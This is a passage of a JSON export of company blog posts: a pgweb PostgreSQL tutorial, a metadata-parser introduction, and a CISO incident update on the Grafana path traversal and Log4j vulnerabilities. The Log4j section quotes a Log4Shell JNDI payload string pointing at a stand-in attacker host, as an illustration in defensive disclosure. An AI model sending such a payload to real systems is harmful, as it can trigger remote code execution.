2\n\n* Wyoming - Azure: West Central US\n\n* Canada\n\n* Ontario - Azure: Canada Central\n* Quebec - Azure: Canada East\n\n* Europe\n\n* Ireland - Azure: North Europe\n\n* Netherlands - Azure: West Europe\n\n* England - Azure: UK South\n\n* Wales - Azure: UK West\n\n* Asia\n\n* Hong Kong - Azure: East Asia (available in the coming weeks)\n\n* Singapore - Azure: Southeast Asia (available in the coming weeks)\n\n* Tokyo, Japan - Azure: Japan East (available in the coming weeks)\n\n* Osaka, Japan - Azure: Japan West (available in the coming weeks)\n\n* South America\n\n* Brazil - Azure: Brazil South (available in the coming weeks)\n\nNew services can be launched in these regions today and using the Aiven zero-downtime migration, it is also possible to easily migrate existing services to Azure!\n\nAll of the Aiven services offer worry-free fully automated DBaaS hosting, including offsite backups, automatic failure recovery and hardened security.\n\nWe will continue to expand our Database-as-a-Service offering in both cloud and region support and by adding more services. We are always looking for feedback on what to improve so feel free to let us know if you have ideas on what you'd love to see us support next.\n\nGo to [aiven.io](https://aiven.io/) to get started! **Free $10 credits** at registration, **no credit card** required. Services are billed by the hour.\n\nLast but not least, we would like to thank all of our customers who participated in our beta testing phase!\n\n\n## Further reading\n\n- [PostgreSQL® Performance in AWS, GCP, Azure, DO and UpCloud](https://aiven.io/blog/postgresql-cloud-performance)\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"publishedAt":"2016-09-15T12:55:00.000Z","seo":{"metaDescription":"Microsoft Azure is positioning itself as a contender to AWS, which is why we’re offering all Aiven services on it. Find out which regions we’re starting with.","metaImage":{"alt":"","asset":{"_ref":"image-1335e1a409ae973cc1e54e9ef2d7025fa306603e-2500x1308-png","_type":"reference"}},"metaTitle":"Aiven brings easy, powerful hosted databases to Microsoft Azure"},"slug":{"_type":"slug","current":"/blog/aiven-cloud-database-azure"},"subtitle":"Microsoft Azure is positioning itself as a contender to AWS, which is why we’re offering all Aiven services on it. Find out which regions we’re starting with.","title":"Aiven brings easy, powerful hosted databases to Microsoft Azure"} {"__i18n_lang":"en","_createdAt":"2022-09-08T16:32:29Z","_id":"23ABpyOMonRUmxvigZqf7F","_rev":"lhvtNBOlLYH5KiQFQ8YWWv","_type":"post","_updatedAt":"2024-01-29T15:40:42Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Why do humans build software? The answer is deceptively simple - to move data. While our applications process data, they are not the only places data resides. And when it comes to handling and visualizing that data, PostgreSQL® and command-line tools might be great, but they are also daunting. In this blog, I will discuss the need for Graphical User Interface (GUI) tools for databases and go over an open-source tool, [pgweb](https://sosedoff.github.io/pgweb/), to help solve a DVD mystery, and we might visualize some PostgreSQL data in the process. \n\n### GUI - not just for applications\n\nBefore we start using the tool, it's important to note: a database GUI tool is not a replacement for a command-line tool. However, a GUI tool allows you to connect to the application or database quickly and easily. Here are the three use cases where a database GUI tool would complement the command-line options:\n\n1. Cut the learning curve: Whether connecting to a database or running queries on tables, a GUI tool shows intuitive ways to perform the task. For example, here is the documented way to connect to a PostgreSQL database using the command line:\n\n ```shell\n psql 'postgres://avnadmin:PASSWORD@demo-pg-dev-advocates.aivencloud.com:13039/defaultdb?sslmode=require'\n ```\n\n A new user might not know how to assemble all the information in that command, and whether to use quotes or not.\n\n Here is an example from a GUI tool:\n\n ![pgweb connection page](//cdn.sanity.io/images/sczeoy4w/production/352048832db48231b633fc0de4e31c22a35f9202-1228x1056.png)\n\n The user has explicit places to enter host, port, username, password and database name, and can then click **Connect**.\n\n2. Increase productivity: If your day-to-day tasks include switching between multiple databases and looking at some tables, you can do this faster from the clicks of a mouse than executing commands. The GUI tool would display various databases, tables, and schemas as folder or file hierarchies, allowing for faster navigation. \n\n3. Additional options: While these features vary from tool to tool, some database GUI tools allow full text search, performance tuning on queries, a complete history of SQL commands, etc.\n\nWith that out of the way, let's focus on the DVD mystery we have to solve as a team. Crab Rental is a fictitious DVD rental store that exists in a parallel world where Netflix doesn't exist yet. Crab Rental is facing some challenges around inventory and IT security. The management hired and tasked you with these challenges:\n\n1. Due to a glitch in the system, some customers are not returning their DVDs. Let's find the glitch.\n2. Customer satisfaction is dropping. Is the film inventory reflecting customer demand?\n3. A lot of people have access to the Crab Rental database. Let's find a way to get details on the requests being made to this database.\n\n### Pgweb - a cross-platform open-source tool for PostgreSQL\n\nSince management doesn’t know SQL, you choose [pgweb](https://sosedoff.github.io/pgweb/) to provide a low-code access to the data that can run on a browser. Pgweb is a free and open-source tool written in GoLang.\n\nIf you don't have a PostgreSQL server ready, you can [sign-up with Aiven](https://console.aiven.io/signup) and deploy one using the available free credits.\n\nFollow the [installation steps](https://github.com/sosedoff/pgweb#installation) to install pgweb on your machine.\n\n\u003e **Note** This blog uses pgweb version 0.11.11. Some features and appearances might differ in future versions. \n\n#### Connect to the database\n\nYou have multiple options to start the pgweb server and connect to the PostgreSQL server. You can start the server in one of these ways:\n\n1. Start the server and enter the database connection information manually.\n\n ```shell\n pgweb\n ```\n\n2. Start the server by providing connection flags:\n\n ```shell\n pgweb --host $HOSTNAME --user $USERNAME --db $DBNAME\n ```\n\n3. Using a connection URI to start the server:\n\n ```shell\n pgweb --url postgres://$USERNAME:$PASSWORD@$HOSTNAME:$PORTNUM/$DBNAME?sslmode=[mode]\n ```\n\nIf you're using [Aiven for PostgreSQL](https://aiven.io/postgresql), the connection information can be found under the **Overview** tab. \n\n![Aiven for Postgres connection page](//cdn.sanity.io/images/sczeoy4w/production/dcceb4fc18331235da0b1438940783e74f56f88c-1786x1422.png)\n\n\u003e **Note** This blog uses PostgreSQL version 14.4.\n\nOnce the pgweb server has started, navigate to `http://localhost:8081` to interact with the tool.\n\n#### Load sample data\n\nPagila is a PostgreSQL port of the [Sakila Sample Database](https://dev.mysql.com/doc/sakila/en/). Load Pagila to your PostgreSQL database by following [this guide](https://aiven.io/docs/products/postgresql/howto/pagila.html). \n\nLet's put pgweb to the test. While you're connected to the Pagila database, click on the **Query** tab on pgweb and run the following query:\n\n```sql\nselect\n customer.first_name,\n customer.last_name,\n count(customer.first_name) rentals_count\nfrom\n customer\nleft join rental on\n customer.customer_id = rental.customer_id\ngroup by\n customer.first_name,\n customer.last_name\norder by rentals_count desc;\n```\n\nWho do you see as the person with the most rented DVDs? If it's ELEANOR HUNT, you've loaded the database correctly.\n\n### Solve DVD mystery using pgweb\n\n#### Customers are not returning DVDs\n\nYour initial task is to investigate why some customers are not returning DVDs. You quickly find out that some customers do not know the return date of their rentals.\n\nYou can see this by clicking on the **Query** tab and running the following query:\n\n```sql\nselect\n rental.rental_id, rental.customer_id, rental.rental_date, customer.email\n FROM rental\n left join customer on\n customer.customer_id = rental.customer_id\n WHERE return_date IS NULL;\n```\n\nAll of these customers have a **NULL** value as their `rental.return_date`. We can use pgweb to export the list and details of customers as JSON, CSV, or XML. Let’s send this information to the IT department so that they can email these customers to return their rentals.\n\n![Query for customers with no rental return date](//cdn.sanity.io/images/sczeoy4w/production/479a083486108dee85ea2c32a27c0b6560f22de6-3078x1430.png)\n\nLet's create a **view** so that management can monitor Crab Rental's business performance without having to worry about the technical details of writing and running SQL queries. In SQL, a view is a virtual table based on the result-set of an SQL statement. To create a view, we run the same SQL statement after prepending a `CREATE VIEW...`:\n\n```sql\nCREATE VIEW customers_no_return_rental_date AS\nselect\n rental.rental_id, rental.customer_id, rental.rental_date, customer.email\n FROM rental\n left join customer on\n customer.customer_id = rental.customer_id\n WHERE return_date IS NULL;\n```\n\nTo see this *view* ourselves, let’s log on to the pgweb dashboard, expand the **Views** dropdown, and click on **customers\\_no\\_return\\_rental\\_date** to see the same information; without writing any SQL.\n\n![View of customers with no rental return date](//cdn.sanity.io/images/sczeoy4w/production/b5788161363d17cec51b2ecbd57e0b571ce35067-3802x1414.png)\n\nOur first mystery is solved, and Crab Rental has a new source of revenue in the form of late fees!\n\n#### Film inventory reflecting demand (or not)\n\nWith our newly-gained confidence, let's dive into solving the second mystery. For this task, let's make use of two views: one for categories of movies making the most sales (indicating demand) and the other for inventory count based on categories. The first view, **sales\\_by\\_film\\_category**, already exists in the sample database. Execute the following SQL statement in the **Query** tab to generate **inventory\\_by\\_film\\_category** view:\n\n```sql\nCREATE VIEW inventory_by_film_category AS\nselect\n category.name,\n count(category.name) inventory_count\nfrom\n category\nleft join film_category on\n category.category_id = film_category.category_id\nleft join inventory on\n film_category.film_id = inventory.film_id\ngroup by\n category.name\norder by\n inventory_count desc;\n```\n\nNow management can check sales by film category, and inventory count by film category, by clicking on the views:\n\n![Sales by film category](//cdn.sanity.io/images/sczeoy4w/production/eecdd58b5cfe46129c41d00c29bef0e3262e330d-2852x990.png)\n\n![Inventory by film category](//cdn.sanity.io/images/sczeoy4w/production/0e89684238fd199e2255f5ae3b8ef22e3cfce2e5-3390x936.png)\n\nBased on the above information, let’s make a recommendation to the management to order more drama and comedy movies. Because these views can be monitored at any time without any technical expertise, the Crab Rental management can rebalance their inventory without requiring a data analyst. \n\n#### Audit the access to the Crab Rental database\n\nCrab Rental has hired an external company to perform a security audit across the data platform. Crab Rental uses a PostgreSQL database, and a number of employees have access to the database credentials. Let’s make sure that our PostgreSQL database is in order and there’s no unneccessary access. PostreSQL has built-in audit features and pgweb has a convenient way to access these. Let’s check who has been accessing our database using the SQL command history. From the **History** tab, we can see the following sample query list:\n\n![Query history](//cdn.sanity.io/images/sczeoy4w/production/1f79c09c38cb538ac9122a8a4879225abf84f162-2824x1140.png)\n\nBased on the timestamp, they can check details on the activity from the **Activity** tab, which shows the username, application/client name, client IP/port, and other details that can be critical when an audit happens.\n\n### Wrap up\n\nThanks to our collective investigation, Crab Rental will survive the collapse of the DVD rental industry for at least a little longer. Although this was a fictitious example, a lot of companies use these techniques to make smart data-driven decisions. Here are three takeaways from this blog:\n\n1. A GUI tool for databases is not a replacement, but rather a complement to the command-line tools.\n2. A GUI tool can increase productivity, help reduce the learning curve, and offer other features like full text search, performance tuning, etc.\n3. Pgweb is just one of the options when it comes to GUI tools for databases. You can choose the tool that makes sense for your use case.\n\nIf you're looking for a fully managed and hosted PostgreSQL, check out [Aiven for PostgreSQL®](https://aiven.io/postgresql) and [reach out](https://twitter.com/aiven_io) if you have any questions.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-92e949c34b0792d55c77ac82ff1fe68000353d7e-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-08T00:00:00.000Z","seo":{"metaDescription":"Working with command line tools and SQL can be intimidating. Read on to learn how to use the pgweb GUI to provide useful views of PostgreSQL® data.","metaImage":{"alt":"","asset":{"_ref":"image-92e949c34b0792d55c77ac82ff1fe68000353d7e-1567x844-png","_type":"reference"}},"metaTitle":"Solve a DVD rental mystery with pgweb"},"slug":{"_type":"slug","current":"/blog/pgweb-dvd-mystery"},"subtitle":"Working with command line tools and SQL can be intimidating. Read on to learn how to use the pgweb GUI to provide useful views of PostgreSQL® data.","title":"Solve a DVD rental mystery with pgweb"} {"__i18n_lang":"en","_createdAt":"2022-09-30T19:40:01Z","_id":"5732c936-197d-49f4-b8f2-410e4dfcbd44","_rev":"lhvtNBOlLYH5KiQFQ8YWvR","_type":"post","_updatedAt":"2024-01-29T15:40:53Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"## Keep your data assets under control with Aiven's metadata parser\n\nData's journey in modern companies is usually long, with several steps across different technologies. From source applications storing it in backend databases, passing by batch or streaming technologies for transformation and distribution, data assets arrive at the target systems where they are used in the decision-making process or fed back to the application in reverse ETL (Extract Transform and Load) scenarios. \n\nKeeping track of every step in this fragmented scenario is a tedious process, usually performed manually as part of the documentation effort. But with many fast-moving parts, losing the global view is very easy. When this happens, implications for companies can include duplicated efforts, GDPR violations, and security issues.\n\nThe reply to questions like \"Who can see this column/table/object\" should come from a query in seconds/minutes rather than from a human trying to browse 200+ pages of documentation. Therefore we need to automate the collection of data assets' journeys in a common queryable format as much as possible.\n\n### The hidden gold of metadata\n\nHow can we automatically extract information about the data? A lot of this information is actually in the metadata! \n\nIf we take PostgreSQL® as an example, we can get a long way by scanning the tables in the `information_schema`. Querying the `columns`, `pg_tables`, `pg_user`, and `role_table_grants` provides us an overview of which users can see which columns in which tables. Adding a smart parsing of the `description` field in `pg_views` also allows us to take one step further and track data transformations happening within the database itself.\n\nSimilar discussion can be made for intermediate technologies like Apache Kafka®, where the metadata stored in topic descriptions, ACLs, schema definitions, and connector configurations allows us to create a map of where the data is coming from and where it is going. Or Apache Flink® where we can understand the source and target of each data pipeline.\n\n#### Different technologies, different languages\n\nIf all the data journey stays in a single technology, then the problem is solved! A bit of metadata parsing on the single catalog views/tables, and we have the end-to-end map. But, as discussed above, this is usually not the case. Even more, different technologies will have different objects and attributes defining a data assets: for PostgreSQL, we might talk about tables and columns, while for Apache Kafka, it's topics, schemas and connectors, and in OpenSearch® is namespaces and indexes. \n\n### A common abstraction: graph theory\n\nTherefore, if we want to collect, merge, and make available metadata having different shapes, we need to take one step back and abstract our definition of data assets. This is where graph theory becomes handy, allowing us to define each object as a node, and each connection amongst objects as an edge. \n\n* a database? It's a node\n* a table? It's a node + an edge to the database it belongs to\n* a column? It's a node + an edge to the table it belongs to\n* a user? It's a node + an edge to the database it belongs to + an edge to every node it can query/view/edit\n* an Apache Kafka source connector? It's a node + an edge for every source of data + an edge for every destination topic \n\nStoring our assets as nodes/edges allows us to add custom attributes to each entity, using the object properties like the retention time for a topic or the SQL definition for a database view. Even more, it allows us to connect the dots between different technologies! We can, as an example, link the PostgreSQL tables where an Apache Flink® job gets its data from, with the Apache Kafka topic where it lands the transformed assets. If we are diligent and work with Avro and the [Karapace schema registry](https://aiven.io/docs/products/kafka/howto/enable-karapace.html), we might also be able to connect the source to target columns for a complete data lineage.\n\n![Example of a graph storing information about a PostgreSQL database with some tables and columns, a Kafka Connect connector, Apache Kafka and Flink](//cdn.sanity.io/images/sczeoy4w/production/a70f2e672397cc99a1c21eae64ce039b6c0868ab-1129x568.jpg)\n\n### Sounds difficult, how to do it? Welcome to the metadata parser\n\nParsing several different technologies and extracting the metadata as node/edges is indeed not a trivial task, requiring you to write a bunch of code to call REST API endpoints, query database tables, or send HTTP requests and merge the output together. However, if you're using Aiven services, we have a nice present for you: the [metadata parser](https://github.com/aiven/metadata-parser), an open-source project built on top of the [Aiven's client](https://github.com/aiven/aiven-client), which allows you to parse the services belonging to an Aiven project and create a network map of the data assets.\n\n#### Get the metadata-parser to work\n\nTo run the metadata parser on top of your project, you need the following prerequisites:\n\n* Python 3.7+\n* a valid Aiven account\n* the name of the project that you want to parse\n\nOnce collected the above, you can follow these steps:\n\n1. Clone the metadata parser repository and navigate in the `metadata-parser` folder.\n\n ```\n git clone https://github.com/aiven/metadata-parser.git\n cd metadata-parser\n ```\n\n2. Install the required libraries.\n\n ```\n pip install -r requirements.txt\n ```\n\n3. In the `conf` folder, copy the `conf.env.sample` file to `conf.env`. Add the `TOKEN` and `PROJECT` parameters with a [valid authentication token](https://aiven.io/docs/platform/howto/create_authentication_token.html) and the name of the project to parse.\n\n4. If the project doesn't have any running services, you can use the `scripts/create_services.sh \u003cPROJECT_NAME\u003e` script to create some temporary services for testing (it requires additional tools like `ksql`, `psql` and `mysql` to create data assets correctly).\n\nRun the `main.py` file to collect metadata from the project.\n\n```\npython main.py\n```\n\nThe above command will parse the project and create:\n\n* A file `nx.html` containing the complete interactive graph.\n\n ![Graph in action](//cdn.sanity.io/images/sczeoy4w/production/10a1b01648e47cda0d90883379ce131f954d1954-794x749.jpg)\n\n* A file `graph_data.dot` containing the information in [DOT format](https://graphviz.org/doc/info/lang.html).\n* A file `graph_data.gml` containing the information in [GML format](https://en.wikipedia.org/wiki/Geography_Markup_Language).\n\nIf you want to have an interactive view that allows you to filter on a single node and check all dependencies, you can run:\n\n```\npython app.py\n```\n\n`app.py` reads the `graph_data.gml` file generated in the previous step and creates a Reactive Web Application with [Plotly](https://plot.ly/python/) and [Dash](https://plot.ly/dash/), allowing you to analyze the graph and filter for particular node types or names. The filtering will then show the subgraph connected to the node(s) you're filtering by. You can reach the Dash app at `http://127.0.0.1:8050/`.\n\n![Dash application in action allowing custom filtering of nodes](//cdn.sanity.io/images/sczeoy4w/production/e56bf61f3f94a9aa54794f47bb026a8847b49b7b-1566x880.gif)\n\nCongrats! You now have the full map of your data assets, spanning different technologies, as a queryable graph!\n\nJust remember, if you want to remove the test services created in step 4, run `scripts/delete_services.sh \u003cPROJECT_NAME\u003e`.\n\n### Wow, can I use it?\n\nNow, think about your questions:\n\n* Data lineage - Where is this column coming from?\n* GDPR assessments - Who can see this piece of data? How is my data manipulated?\n* Security audits - What user can edit this dataset?\n* Impact assessments - What happens if I remove X?\n\nYou can now answer these with the graph produced by the metadata parse and some network queries. \n\nWe would love people to start using the project, and even more: the metadata parser is a fully open-source project, so we welcome contributions! The project is at the initial stage, therefore we could cover more tools, dig more in-depth into the existing ones, or create alternative ways of parsing and displaying the results.\n\nSome links that you might find helpful:\n\n* [Graph theory](https://en.wikipedia.org/wiki/Graph_theory): to understand how different entities are mapped as nodes, attributes, and edges.\n* [Aiven Command Line Interface](https://github.com/aiven/aiven-client): the Aiven CLI, written in Python, is used to explore services and retrieve metadata; review the methods used to parse the Aiven project.\n* [Aiven API documentation](https://api.aiven.io/doc/): to review the list of APIs used by the Aiven Command Line Interface.\n* [Metadata parser contributing guidelines](https://github.com/aiven/metadata-parser/blob/main/CONTRIBUTING.md): to understand how you can contribute to the project.\n","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-9062199802b0cd1396dd7f04d5f4d6ae79ed9abb-1567x844-png","_type":"reference"}},"publishedAt":"2022-08-04T00:00:00.000Z","seo":{"metaDescription":"As the number of data assets and related technologies grows, figuring out how they relate gets harder. Find out about a new tool that can give useful insights.","metaImage":{"alt":"","asset":{"_ref":"image-9062199802b0cd1396dd7f04d5f4d6ae79ed9abb-1567x844-png","_type":"reference"}},"metaTitle":"Use Aiven's metadata parser to understand how your data flows"},"slug":{"_type":"slug","current":"/blog/metadata-parser"},"subtitle":"As the number of data assets and related technologies grows, figuring out how they relate gets harder. Find out about a new tool that can give useful insights.","title":"Use Aiven's metadata parser to understand how your data flows"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"11X1jinOSlkROrjtJ5UT0k","_rev":"5y7swPKAcYPWMoG0mxzQNL","_type":"post","_updatedAt":"2024-08-09T10:10:01Z","authors":[{"_key":"5SPKXKjdlpFtgqZE176yRN","_ref":"5SPKXKjdlpFtgqZE176yRN","_type":"reference"}],"body":"Dear all,\n\nWe’ve been working through a couple of security issues this month already here at Aiven and like many security teams, we’re feeling a little run down and thought you could all use an update on what we’ve been doing about these issues. \n\nBoth of these issues represent some of the most interesting but also most painful kinds of security problems that we’ve seen before and will see again. James M. Barrie may have said it best in the quote from the opening narration of the Disney Peter Pan film - “all of this has happened before and it will all happen again”. \n\nThe Grafana issue is another case of OWASP Top Ten... input validation. We haven’t seen the end of this variety of issue; turns out that validating input is actually difficult. The log4j issue is one that is even more common - “at the time the functionality was added everyone agreed it was a good idea and no one thought about some kind of a negative interaction with other functionality in a complex code base” combined with the same kind of input validation problem that we saw with Grafana in the same week. \n\nA key message from all security people to all developers should be: “We know that you’re doing difficult things under pressure and you’re going to make mistakes and we’ll work together to make it better”. However, I’m seeing a whole lot of security people pointing fingers at their developer colleagues and making a lot of really negative comments. These problems will happen over and over again. We should be prepared for them and work together to create the best possible outcomes.\n\nLife at Aiven teaches you pretty quickly that Open Source is awesome because of the infinite flexibility of minds working together. It’s also awesome because we’re working together to make a better future for everyone.\n\nThanks. \n\nJamie, Aiven’s CISO \n## Grafana 0day path traversal\n\n- [CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-43798)\n- [Grafana Advisory](https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p) \n- [Grafana Blog Post](https://grafana.com/blog/2021/12/08/an-update-on-0day-cve-2021-43798-grafana-directory-traversal/) \n\nGrafana is a popular open source tool for visualizing information. At Aiven, we are happy to offer Aiven for Grafana as one of our open source services, but more importantly, we are also heavy users of Grafana ourselves. We now understand from Grafana’s blog entry that this issue started as a coordinated release event by Grafana and subsequently became publicly available prior to the Grafana team being able to provide the coordination - a 0day.\n\nThe issue was identified to the Grafana team on 2021-12-03 02:51 UTC, and they anticipated a public release of the fix by 2021-12-14. Aiven was alerted through a [report to our bug bounty](https://hackerone.com/reports/1415820) program at 2021-12-02 20:56 UTC by the same reporter, and we were already working on developing a fix over the course of the weekend.\n\nWe received several bug bounty reports for the same path traversal vulnerability between 2021-12-05 and 2021-12-06 which were marked as duplicates. This indicates that the issue was well known and beginning to circulate among the researcher community.\n\nOur monitoring noted an increase of blind path traversal requests trying to probe for the vulnerability starting on 2021-12-06 but really coming on 2021-12-07.\n\nWe developed a fix internally that was ready at just about the time that the probe requests started to increase dramatically. The technical operations team declared an incident in order to mitigate any potentially outstanding issues, and the fix was implemented on an accelerated basis. \n\nThe vast majority of nodes were patched within a 75 minute window. A few services which were running in the [degraded aws-us-east-1 region](https://aws.amazon.com/message/12721/) remained active and carefully monitored for an additional 3 hours while AWS recovered from their incident.\n\nOnce the bug bounty reporter was able to confirm our fix to their satisfaction, we paid out the bounty for this high severity bug. \n\n__Timeline__\n\n2021-12-02 20:56 UTC\tBug bounty report received from Jordy\n\n2021-12-03 02:51 UTC\t(from Grafana’s blog post - their first notification)\n\n2021-12-05 10:25 UTC\tconfirmation of issue and fix in development\n\n2021-12-07 06:04 UTC\tcompleted development of the fix\n\n2021-12-07 13:36 UTC\ttesting completed\n\n2021-12-07 13:49 UTC\tIncident declared \n\n2021-12-07 13:58 UTC\tchange merged into production branch\n\n2021-12-07 17:15 UTC \tGrafana public Github repository has official fix for the vulnerability\n\n2021-12-07 18:30 UTC \tAiven starts to apply the patch to customer nodes\n\n2021-12-07 19:42 UTC \tAll Grafana for Aiven services have been patched with the Aiven developed fix except a small portion having in aws-us-east-1 region (that is degraded and new instances cannot be launched) \n\n2021-12-07 22:31 UTC \tGrafana for Aiven services in aws-us-east-1 region (that was degraded and new instances could not be launched) have been patched.\n\n2021-12-10 07:46 UTC\tReceived response from Jordy confirming the fix\n\n2021-12-10 16:00 UTC\tPaid the bounty for a High severity finding\n\n## The big one - Log4j / Log4shell\n\n- [CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228)\n- [Release Notes](https://logging.apache.org/log4j/2.x/security.html)\n\nThis is a significant Remote Code Execution (RCE) vulnerability and it’s in… everything! (No, seriously - it’s even in the [NASA robot helicopter on Mars](https://twitter.com/TheASF/status/1400875147163279374), and it caused the NSA to [update their tooling](https://twitter.com/NSA_CSDirector/status/1469439084091355141)!\n\nThis is an important vulnerability because it’s easy to exploit. If your computer runs any unpatched Java-based application, a simple attack like joining a Minecraft chat and receiving a message like \"${jndi:ldap://badactor.crime/script}\" is enough for potentially malicious code to be loaded and executed. Anything that causes a message to be logged in Java software via log4j, including chat messages that are routinely logged to disk by popular games like Minecraft, makes the system vulnerable, until all of these Java programs update the version of log4j that they use. This is going to be a very long-tail vulnerability due to the number of places that log4j is potentially running in your world.\n\nAiven was alerted to this issue 2021-12-10 00:49 UTC and immediately began to investigate the impact of CVE-2021-44228 on Aiven’s internal services and managed customer resources. By 2021-12-10 14:45 UTC, an incident was declared and immediate work began to mitigate and protect against this issue across all customer services and our own infrastructure. All Aiven services were remediated by 2021-12-11 03:46 UTC - a period of just over 24 hours from awareness to remediation. \n\nOf all of the production services operated by Aiven for our customers, only Aiven for Elasticsearch and Aiven for OpenSearch were impacted. No other production services were affected. \n\nAiven for Apache Flink is a beta service not yet fully in production and was deprioritized for remediation. We made the decision to preemptively shut down all instances (unfortunately losing some data) to await business hours patching. \n\nSpecific details were published to our customers on the [help.aiven.io site](https://help.aiven.io/en/articles/5804226-2021-12-10-log4j2-vulnerability-and-aiven-service) and communicated as needed through support ticketing. \n\nAt the time that this entry was posted, Aiven’s internal security team continues to monitor the situation for new exploits or threats. We’re working through our list of supporting vendors and ensuring that they have all taken appropriate action. \n\nInterestingly, this attack vector was actually discussed during a presentation at Black Hat USA 2016 - “A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land” by Alvaro Muñoz and Oleksandr Mirosh, as noted in [this tweet](https://twitter.com/an0n_r0/status/1469643986403008515). The full impact of that research was not understood until we have the hindsight of this incident to provide context.\n\n__Timeline__\n\n2021-12-10 00:49 UTC\tBegan internal investigation of CVE-2021-44228, its impact on Aiven internal services, and its impact on managed customer resources\n\n2021-12-10 14:45 UTC\tIncident declared\n\n2021-12-10 15:28 UTC\tBegan deep dive assessment of exposure and impact, service-by-service\n\n2021-12-10 17:27 UTC\tBegan service-by-service remediation planning\n\n2021-12-10 18:09 UTC\tBegan execution of remediation plan for Aiven for \nOpenSearch and Aiven for Elasticsearch\n\n2021-12-10 19:07 UTC\tDisabled the creation of new Aiven for Apache Flink (beta) nodes, all vulnerable Aiven for Apache Flink nodes shut down\n\n2021-12-10 19:36 UTC\tAll necessary production system changes completed, began patching affected customer production nodes\n\n2021-12-10 21:27 UTC\tProduction upgrade completed; OpenSearch, Elasticsearch, and Flink production code patched; began restarting internal services\n\n2021-12-11 02:36 UTC\tInternal services successfully patched and restarted; began restarting all affected OS/ES customer services\n\n2021-12-11 03:46 UTC\tES/OS service restart per cluster completed. All internal services and affected customer nodes successfully patched.\n\nThe creation of new services in Flink (beta) is still disabled as of 2021-12-13.\n\n### Updates from 2021-12-20\n\nAiven continues to monitor the evolving situation with the Log4Shell / Log4j vulnerabilities:\n\n- [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228)\n- [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046)\n- [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105)\n\nOur mitigation for the first and second vulnerabilities is in place across affected systems (Aiven for OpenSearch, Aiven for Elasticsearch, and [beta] Aiven for Apache Flink). The third vulnerability is not exploitable in the context of Aiven services, but we are updating to log4j 2.17 out of an abundance of caution as this set of vulnerabilities continues to expand.\n\nIf you have any questions, please reach out to support@aiven.io.\n\n\n## Further reading\n\n- [Customize and contextualize your data with Grafana® 10](https://aiven.io/blog/customize-and-contextualize-your-data-with-grafana-10)","categories":[{"_key":"4hAyABhHhRRrLCRrQAMHR1","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"1nf4L7bvQOLXPjLRjAxmDO","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-20T00:00:00.000Z","seo":{"metaDescription":"0day? How about 0december! Aiven's CISO recaps the recent vulnerabilities and what Aiven did about them.","metaImage":{"alt":"","asset":{"_ref":"image-d6b4f1cfad77e535ef98f99ddfb48a81e9c6a6b0-1567x844-png","_type":"reference"}},"metaTitle":"Security updates: Grafana and Log4j"},"slug":{"_type":"slug","current":"/blog/security-updates-grafana-and-log4j"},"subtitle":"0day? How about 0december! Aiven's CISO recaps the recent vulnerabilities and what Aiven did about them.","title":"Security updates: Grafana and Log4j"} {"__i18n_lang":"en","_createdAt":"2022-09-30T15:53:44Z","_id":"4JR1zZoQLeuUT8AxByqegc","_rev":"msvVOwV0ly404Y5JqDSlSw","_type":"post","_updatedAt":"2024-08-09T10:39:24Z","authors":[{"_key":"3CMp6swW2L6wlHhqp57gWe","_ref":"3CMp6swW2L6wlHhqp57gWe","_type":"reference"}],"body":"Running Apache Kafka® in an enterprise setting is no easy feat; governing Apache Kafka in an enterprise setting is a whole other headache. To help make it easier for everyone, Aiven has acquired Kafkawize, which provides a centralized governance layer on top of Apache Kafka, fully open source and freely available for download and use. \n\nThe project is now renamed Klaw. It will remain fully open source and free to use.\n\n### The old ways\nThere are two traditional ways in which enterprises handle tasks related to Apache Kafka configuration: freedom and gatekeeping.\n\n__Freedom and confusion__\nThe infrastructure team freely creates new configurations and connections, based on requirements communicated to them by the service users. This typically involves lots of back-and-forth between teams, ambiguity about ownership and who should be kept in the loop. Changes might not be tracked systematically. The result is an organically-grown jungle gym of connections and elements, where it’s hard to find anything and know what it plugs into.\n\n__Gatekeeping and bottlenecks__\nA single gatekeeper controls what elements and connections are created. They negotiate with the stakeholders and carry the requirements to the infrastructure team, and nothing is deployed before the gatekeeper stamps their approval on it. The result is a slow process that depends on a handful of people (or even a single person!) to function, making it hard to update the configuration.\n\n__Klaw offers instead a process and a web-based data governance toolkit where teams using the service can submit their requests for new Topics, schemas, access authorizations and 